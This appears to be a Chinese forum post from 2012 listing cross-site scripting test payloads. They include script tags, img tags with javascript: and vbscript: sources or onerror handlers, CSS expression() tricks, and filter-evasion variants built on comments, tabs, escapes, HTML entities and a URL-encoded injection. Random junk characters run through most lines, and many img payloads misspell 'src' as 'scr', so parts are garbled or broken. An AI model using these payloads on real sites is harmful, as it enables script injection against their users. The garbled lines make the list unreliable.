<script>alert("跨站")</script> (最常用）5 g* U. I( A6 A6 [/ g* W, _; a7 {
<img scr=javascript:alert("跨站")></img>% U" R0 J, ^; @0 y# J" D
<img scr="javascript: alert(/跨站/)></img>. ~) v/ e3 c" C# X* s$ Q$ ^
<img scr="javas????cript:alert(/跨站/)" width=150></img> (?用tab键弄出来的空格）
6 Y/ d$ H) W5 d' Q( P<img scr="#" onerror=alert(/跨站/)></img>3 p3 H" H2 s+ B3 r3 F, b C+ F( a
<img scr="#" style="xss:expression(alert(/xss/));"></img>
, K% @3 Z" l; |. t$ R7 u) ]<img scr="#"/* */onerror=alert(/xss/) width=150></img> (/**/ 表示注释）
l& `8 q. A& a! E# r<img src=vbscript:msgbox ("xss")></img>0 G1 v$ n2 o5 X: P; y4 Z
<style> input {left:expression (alert('xss'))}</style>; G6 ^1 _" g9 {
<div style={left:expression (alert('xss'))}></div>3 q* g4 A* i* V3 A( p2 q/ e) P. G1 ?
<div style={left:exp/* */ression (alert('xss'))}></div>
+ B; K; a- W9 K# H<div style={left:\0065\0078ression (alert('xss'))}></div>
" `$ [, H6 y& B* ^$ K$ Dhtml 实体 <div style={left:&#ｘ0065；xpression (alert('xss'))}></div># S/ p6 T3 J \) A/ S. \* l$ X' F! y: {
unicode <div style="{left:expRessioN (alert('xss'))}">
2 E5 |7 n* F7 I5 p5 L! |/ a* g* u- M1 }/ Q) K, P+ {) f
"]}%3Cscript%3Ealert('我又来啦！.')%3C/script%3E{[&item="]<iframe%20src=WWW.BAIDU.COM%20width=400%20height=600></iframe>["
0 s* N8 h4 q4 g: O- S+ b) ? |
发表于 2012-9-15 14:09:13
收藏
支持
反对